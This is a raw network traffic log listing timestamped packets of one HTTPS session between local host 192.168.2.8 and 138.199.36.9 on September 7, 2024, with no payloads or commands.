Sep 7, 2024 23:15:32.441929102 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.441962957 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.441971064 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.441992044 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.442322969 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.442336082 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.442390919 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.442400932 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.442943096 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.442960978 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.443023920 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.443034887 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.487904072 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.529429913 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.529450893 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.529532909 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.529582024 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.529654980 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.529668093 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.529777050 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.529808998 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.529845953 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.529865980 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.529885054 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.529938936 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.529947996 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.530289888 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.530302048 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.530355930 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.530363083 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.530566931 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.530596972 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.530649900 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.530658007 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.530795097 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.530824900 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.530875921 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.530884027 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.531440973 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.531461954 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.531500101 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.531507969 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.531532049 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.581659079 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.627021074 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.627043009 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.627135038 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.627163887 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.627194881 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.627207994 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.627216101 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.627233028 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.627247095 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.627298117 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.627346039 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.627360106 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.627412081 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.627418995 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.627449989 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.627505064 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.627518892 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.627580881 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.627587080 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.627630949 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.627860069 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.627876043 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.627931118 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.627939939 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.627981901 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.628051996 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.628068924 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.628129005 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.628135920 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.628180027 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.628355980 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.628371954 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.628415108 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.628456116 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.628457069 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.628477097 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.628511906 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.675328016 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.706646919 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.706671000 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.706722021 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.706810951 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.706867933 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.706886053 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.706974030 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.706988096 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.707019091 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.707031012 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.707046032 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.707088947 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.707106113 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.707134008 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.707142115 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.707159996 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.707325935 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.707339048 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.707415104 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.707415104 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.707427025 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.707775116 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.707797050 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.707843065 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.707856894 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.707881927 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.708136082 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.708151102 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.708218098 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.708230972 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.708686113 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.708705902 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.708750963 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.708764076 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.708781004 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.753556013 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.794970989 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.795003891 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.795053959 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.795099974 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.795249939 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.795279980 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.795315981 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.795330048 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.795352936 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.795362949 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.795437098 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.795470953 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.795485973 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.795557022 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.795564890 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.795706987 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.795725107 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.795773029 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.795780897 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.796318054 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.796330929 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.796381950 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.796397924 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.796410084 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.796453953 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.796488047 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.796504974 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.796511889 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.796525002 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.796542883 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.797102928 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.797116995 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.797173977 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.797185898 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.847228050 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.883773088 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.883821011 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.883930922 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.883980036 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.883999109 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.884021997 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.884030104 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.884041071 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.884063959 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.884077072 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.884083986 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.884105921 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.884121895 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.884126902 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.884138107 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.884171963 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.884176970 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.884188890 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.884210110 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.884222984 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.884236097 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.884241104 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.884282112 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.884304047 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.884325981 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.884355068 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.884361029 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.884375095 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.884390116 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.884766102 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.884783983 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.884829998 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.884836912 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.884859085 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.884881973 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.885014057 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.885030985 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.885072947 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.885080099 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.885101080 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.885123014 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.885725021 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.885740042 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.885788918 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.885797024 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.885816097 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.885831118 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.972181082 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.972204924 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.972341061 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.972346067 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.972373962 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.972393990 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.972398043 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.972419024 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.972431898 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.972445965 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.972454071 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.972465992 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.972467899 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.972489119 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.972496986 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.972532988 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.972757101 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.972773075 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.972810984 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.972817898 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.972836018 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.972899914 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.972973108 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.972987890 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.973040104 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.973047018 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.973084927 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.973434925 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.973452091 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.973500967 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.973507881 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.973539114 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.973579884 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.973596096 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.973633051 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.973639011 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.973670006 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.974134922 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.974150896 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.974215031 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:32.974221945 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:32.974252939 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.060668945 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.060691118 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.060811043 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.060858011 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.060861111 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.060894966 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.060920954 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.060965061 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.060978889 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.061016083 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.061024904 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.061137915 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.061160088 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.061192989 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.061201096 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.061223030 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.061412096 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.061424971 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.061481953 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.061492920 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.061791897 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.061810970 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.061850071 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.061856985 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.061882019 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.062037945 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.062052965 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.062105894 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.062113047 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.062582970 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.062602043 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.062671900 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.062680960 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.112900019 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.149209976 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.149235964 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.149398088 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.149415016 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.149430037 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.149450064 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.149487972 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.149507046 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.149522066 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.149559021 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.149704933 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.149722099 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.149769068 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.149776936 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.149799109 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.149823904 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.150331020 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.150346041 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.150404930 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.150413990 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.150429964 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.150443077 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.150449038 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.150460005 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.150473118 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.150511980 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.150587082 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.150599957 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.150655985 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.150669098 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.150705099 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.151063919 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.151081085 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.151138067 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.151139975 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.151153088 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.151181936 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.151196957 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.151202917 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.151228905 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.151242971 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.237740993 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.237761974 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.237807035 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.237863064 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.237873077 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.237900019 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.237916946 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.238301992 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.238317966 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.238367081 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.238379955 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.238393068 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:33.238656044 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.238672972 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.238821983 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:33.238836050 CEST	443	49706	138.199.36.9	192.168.2.8
